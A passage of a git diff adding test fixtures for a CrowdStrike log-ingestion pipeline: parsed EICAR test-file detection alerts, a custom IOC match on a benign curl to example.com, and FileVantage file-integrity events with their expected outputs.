"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "NetworkAccesses": [ + { + "AccessTimestamp": 1751371565, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.13", + "LocalPort": 49729, + "Protocol": "TCP", + "RemoteAddress": "150.171.27.12", + "RemotePort": 443 + }, + { + "AccessTimestamp": 1751371565, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.13", + "LocalPort": 49730, + "Protocol": "TCP", + "RemoteAddress": "2.22.144.74", + "RemotePort": 443 + }, + { + "AccessTimestamp": 1751371787, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.13", + "LocalPort": 49948, + "Protocol": "TCP", + "RemoteAddress": "2.18.27.89", + "RemotePort": 443 + } + ], + "Objective": "Follow Through", + "ParentCommandLine": "C:\\Windows\\system32\\userinit.exe", + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 0, + "PatternId": 10418, + "PlatformId": "0", + "PlatformName": "Windows", + "ReferrerUrl": "C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 10, + "SeverityName": "Informational", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Execution", + "Technique": "User Execution", + "Type": "ldt" + }, + "device": { + "id": "cff45d56127743a593792fb968dac907" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:38655211725\",\"CommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"explorer.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"FilesAccessed\":[{\"FileName\":\"eicarcom2.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_idx.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"GLEAM-LIGHT.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"GLEAM-DARK.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371841},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371842},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371843},{\"FileName\":\"iconcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371843}],\"FilesWritten\":[{\"FileName\":\"eicar.com\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com\",\"Timestamp\":1751371843},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371761}],\"GrandParentCommandLine\":\"winlogon.exe\",\"GrandParentImageFileName\":\"winlogon.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\winlogon.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"23ba370fc8357f6f827812da142b5fcb\",\"Name\":\"Known Malware\",\"NetworkAccesses\":[{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49729,\"Protocol\":\"TCP\",\"RemoteAddress\":\"150.171.27.12\",\"RemotePort\":443},{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49730,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.22.144.74\",\"RemotePort\":443},{\"AccessTimestamp\":1751371787,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49948,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.18.27.89\",\"RemotePort\":443}],\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"ParentImageFileName\":\"userinit.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"ParentProcessId\":38850737845,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10418,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":38850874557,\"ProcessStartTime\":1751371562,\"ReferrerUrl\":\"C:\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com.zip\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume4\\Windows", + "hash": { + "md5": "23ba370fc8357f6f827812da142b5fcb", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7" + }, + "name": "explorer.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe" + }, + "host": { + "domain": "dave-win10-3", + "hostname": "dave-win10-3", + "mac": [ + "BA-D0-00-BA-D0-00" + ], + "name": "dave-win10-3" + }, + "message": "A process has written a known EICAR test file. Review the files written by the triggered process.", + "process": { + "command_line": "C:\\Windows\\Explorer.EXE", + "end": "1970-01-01T00:00:00.000Z", + "entity_id": "38850874557", + "executable": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", + "name": "explorer.exe", + "parent": { + "entity_id": "38850737845", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe", + "name": "userinit.exe" + }, + "start": "2025-07-01T12:06:02.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7", + "23ba370fc8357f6f827812da142b5fcb" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "description": "A process has written a known EICAR test file. Review the files written by the triggered process.", + "name": "Known Malware" + }, + "source": { + "address": "10.0.0.13", + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2023-11-14T22:13:20.000Z", + "crowdstrike": { + "AgentIdString": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", + "AggregateId": "aggind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:9876543210987654321", + "CloudIndicator": true, + "CompositeId": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321", + "CustomerIdString": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", + "DataDomains": "Endpoint", + "EventType": "Event_ExternalApiEvent", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321?_cid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", + "GrandparentCommandLine": "/usr/sbin/sshd -D -R", + "GrandparentImageFileName": "sshd", + "GrandparentImageFilePath": "/usr/sbin/sshd", + "HostGroups": [ + "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", + "b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7" + ], + "IOCType": "domain", + "IOCValue": "example.com", + "MACAddress": "00-11-22-33-44-55", + "NetworkAccesses": [ + { + "AccessTimestamp": "1700000001", + "AccessType": "0", + "IsIPV6": "false", + "LocalAddress": "192.168.1.100", + "LocalPort": "5353", + "Protocol": "UDP", + "RemoteAddress": "192.168.1.1", + "RemotePort": "53" + }, + { + "AccessTimestamp": "1700000001", + "AccessType": "0", + "IsIPV6": "false", + "LocalAddress": "192.168.1.100", + "LocalPort": "44300", + "Protocol": "TCP", + "RemoteAddress": "192.168.1.2", + "RemotePort": "443" + } + ], + "Nonce": "1234567890123456789", + "Objective": "Falcon Detection Method", + "ParentCommandLine": "-bash", + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": "false", + "BootupSafeguardEnabled": "false", + "ContainmentFileSystem": "false", + "CriticalProcessDisabled": "false", + "Detect": "false", + "FsOperationBlocked": "false", + "HandleOperationDowngraded": "false", + "InddetMask": "false", + "Indicator": "false", + "KillActionFailed": "false", + "KillParent": "false", + "KillProcess": "false", + "KillSubProcess": "false", + "OperationBlocked": "false", + "PolicyDisabled": "false", + "ProcessBlocked": "false", + "QuarantineFile": "false", + "QuarantineMachine": "false", + "RegistryOperationBlocked": "false", + "Rooting": "false", + "SensorOnly": "false", + "SuspendParent": "false", + "SuspendProcess": "false" + }, + "PatternDispositionValue": 0, + "PatternId": "5306", + "PlatformId": "3", + "PlatformName": "Linux", + "SensorId": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", + "Severity": "10", + "SeverityName": "Informational", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Custom Intelligence", + "Technique": "Indicator of Compromise", + "Type": "ldt", + "cid": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", + "eid": "118" + }, + "device": { + "id": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" + }, + "event": { + "category": [ + "malware" + ], + "created": "2023-11-14T22:13:20.000Z", + "id": "||a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", + "kind": "alert", + "original": "{\"Tactic\":\"Custom Intelligence\",\"CustomerIdString\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"EventType\":\"Event_ExternalApiEvent\",\"ParentProcessId\":\"1234567890123456789\",\"SourceVendors\":\"CrowdStrike\",\"AggregateId\":\"aggind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:9876543210987654321\",\"UTCTimestamp\":\"1700000000\",\"LogonDomain\":\"\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321?_cid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"CompositeId\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321\",\"Name\":\"Intel Detection\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SourceProducts\":\"Falcon Insight\",\"ProcessEndTime\":\"1700000001\",\"IOCValue\":\"example.com\",\"PatternId\":\"5306\",\"MitreAttack\":[{\"TacticID\":\"CSTA0005\",\"Tactic\":\"Custom Intelligence\",\"TechniqueID\":\"CST0005\",\"PatternID\":\"5306\",\"Technique\":\"Indicator of Compromise\"}],\"AgentId\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"ParentCommandLine\":\"-bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"DataDomains\":\"Endpoint\",\"LocalIPv6\":\"\",\"PatternDispositionFlags\":{\"BootupSafeguardEnabled\":\"false\",\"QuarantineFile\":\"false\",\"QuarantineMachine\":\"false\",\"HandleOperationDowngraded\":\"false\",\"Detect\":\"false\",\"RegistryOperationBlocked\":\"false\",\"KillParent\":\"false\",\"ContainmentFileSystem\":\"false\",\"Indicator\":\"false\",\"FsOperationBlocked\":\"false\",\"OperationBlocked\":\"false\",\"SuspendParent\":\"false\",\"SuspendProcess\":\"false\",\"KillProcess\":\"false\",\"ProcessBlocked\":\"false\",\"BlockingUnsupportedOrDisabled\":\"false\",\"PolicyDisabled\":\"false\",\"KillActionFailed\":\"false\",\"SensorOnly\":\"false\",\"CriticalProcessDisabled\":\"false\",\"KillSubProcess\":\"false\",\"Rooting\":\"false\",\"InddetMask\":\"false\"},\"Hostname\":\"test-host-01\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PlatformName\":\"Linux\",\"Nonce\":\"1234567890123456789\",\"Objective\":\"Falcon Detection Method\",\"ProcessStartTime\":\"1700000000\",\"Technique\":\"Indicator of Compromise\",\"cid\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"eid\":\"118\",\"Description\":\"A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.\",\"FileName\":\"curl\",\"ParentImageFileName\":\"bash\",\"HostGroups\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6,b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7\",\"LocalIP\":\"192.168.1.100\",\"PlatformId\":\"3\",\"timestamp\":\"2023-11-15T12:00:00Z\",\"GrandParentImageFileName\":\"sshd\",\"FilePath\":\"/usr/bin/curl\",\"UserName\":\"testuser\",\"MD5String\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5\",\"SeverityName\":\"Informational\",\"Severity\":\"10\",\"CloudIndicator\":\"true\",\"PatternDispositionValue\":\"0\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\",\"SHA256String\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"NetworkAccesses\":[{\"AccessTimestamp\":\"1700000001\",\"RemoteAddress\":\"192.168.1.1\",\"LocalAddress\":\"192.168.1.100\",\"LocalPort\":\"5353\",\"RemotePort\":\"53\",\"IsIPV6\":\"false\",\"Protocol\":\"UDP\",\"AccessType\":\"0\"},{\"AccessTimestamp\":\"1700000001\",\"RemoteAddress\":\"192.168.1.2\",\"LocalAddress\":\"192.168.1.100\",\"LocalPort\":\"44300\",\"RemotePort\":\"443\",\"IsIPV6\":\"false\",\"Protocol\":\"TCP\",\"AccessType\":\"0\"}],\"CommandLine\":\"curl https://example.com\",\"Type\":\"ldt\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"MACAddress\":\"00-11-22-33-44-55\",\"AgentIdString\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"IOCType\":\"domain\",\"ProcessId\":\"1234567890123456789\"}", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "directory": "/usr/bin", + "hash": { + "md5": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" + }, + "name": "curl", + "path": "/usr/bin/curl" + }, + "host": { + "hostname": "test-host-01", + "mac": [ + "00-11-22-33-44-55" + ], + "name": "test-host-01" + }, + "message": "A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.", + "process": { + "command_line": "curl https://example.com", + "end": "2023-11-14T22:13:21.000Z", + "entity_id": "1234567890123456789", + "executable": "/usr/bin/curl", + "name": "curl", + "parent": { + "entity_id": "1234567890123456789", + "executable": "/usr/bin/bash", + "name": "bash" + }, + "start": "2023-11-14T22:13:20.000Z", + "uptime": 0 + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", + "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5" + ], + "hosts": [ + "test-host-01" + ], + "ip": [ + "192.168.1.100" + ], + "user": [ + "testuser" + ] + }, + "rule": { + "description": "A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.", + "name": "Intel Detection" + }, + "source": { + "address": "192.168.1.100", + "ip": "192.168.1.100" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "tactic": { + "id": [ + "CSTA0005" + ], + "name": [ + "Custom Intelligence" + ] + }, + "technique": { + "id": [ + "CST0005" + ], + "name": [ + "Indicator of Compromise" + ] + } + }, + "user": { + "name": "testuser" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log new file mode 100644 index 0000000000..759ada717a --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log @@ -0,0 +1,4 @@ +{"ChangeId":"808ac387293943aaadf692926d5672e4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:FILE:WRITE:/home/testuser/filevantage/.test.txt.swp::vi:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1763453435328,"Nonce":946031236533752407,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"808ac387-2939-43aa-adf6-92926d5672e4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-11-18T08:10:35Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"} +{"ChangeId":"ca65aa54f7b9453b8ef199a5b2c8e3c4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764581217862,"Nonce":1314049827115114419,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-01T09:26:57Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"} +{"ChangeId":"26a2448c6c174cac8cd2b46b74fe93ed","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:FILE:CREATE:/home/testuser/filevantage/test.txt::vi:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":"adb"},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1763453435173,"Nonce":8348878083986819890,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"26a2448c-6c17-4cac-8cd2-b46b74fe93ed","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-11-18T08:10:35Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"} +{"ChangeId":"784c387c806a4adda54f83bc938d022d","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"root","ID":"0"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:FILE:ATTRIBUTES:/home/testuser/filevantage/test.txt::chattr:root"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764940158406,"Nonce":7339193177690829435,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"784c387c-806a-4add-a54f-83bc938d022d","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-05T13:09:18Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json new file mode 100644 index 0000000000..88ed6247f2 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json @@ -0,0 +1,264 @@ +{ + "expected": [ + { + "@timestamp": "2025-11-18T08:10:35.328Z", + "crowdstrike": { + "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d", + "ChangeId": "808ac387293943aaadf692926d5672e4", + "ContentDiff": { + "Exists": false + }, + "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70", + "EventType": "Event_ExternalApiEvent", + "EventUUID": "808ac387-2939-43aa-adf6-92926d5672e4", + "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched", + "Nonce": 946031236533752407, + "Policy": { + "ID": "8fd42a5c9ac24959a98d9e430837b5e6", + "Name": "FileVantage Policy" + }, + "Prevalence": { + "Key": "1:3:FILE:WRITE:/home/testuser/filevantage/.test.txt.swp::vi:testuser" + }, + "Suppression": { + "Suppressed": false + }, + "cid": "2cc98db1a47b4c98b913c94d43bfab70", + "eid": 118 + }, + "event": { + "category": [ + "file" + ], + "created": "2025-11-18T08:10:35.328Z", + "id": "||2cc98db1a47b4c98b913c94d43bfab70", + "kind": "event", + "original": "{\"ChangeId\":\"808ac387293943aaadf692926d5672e4\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"testuser\",\"ID\":\"1000\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:FILE:WRITE:/home/testuser/filevantage/.test.txt.swp::vi:testuser\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1763453435328,\"Nonce\":946031236533752407,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"808ac387-2939-43aa-adf6-92926d5672e4\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-11-18T08:10:35Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}", + "type": [ + "change" + ] + }, + "host": { + "hostname": "LINUX-TEST-HOST-01", + "name": "LINUX-TEST-HOST-01" + }, + "related": { + "hosts": [ + "LINUX-TEST-HOST-01" + ], + "user": [ + "testuser", + "1000" + ] + }, + "rule": { + "name": "/home/testuser/filevantage/", + "ruleset": "FileVantage Rule Group" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "1000", + "name": "testuser" + } + }, + { + "@timestamp": "2025-12-01T09:26:57.862Z", + "crowdstrike": { + "AgentIdString": 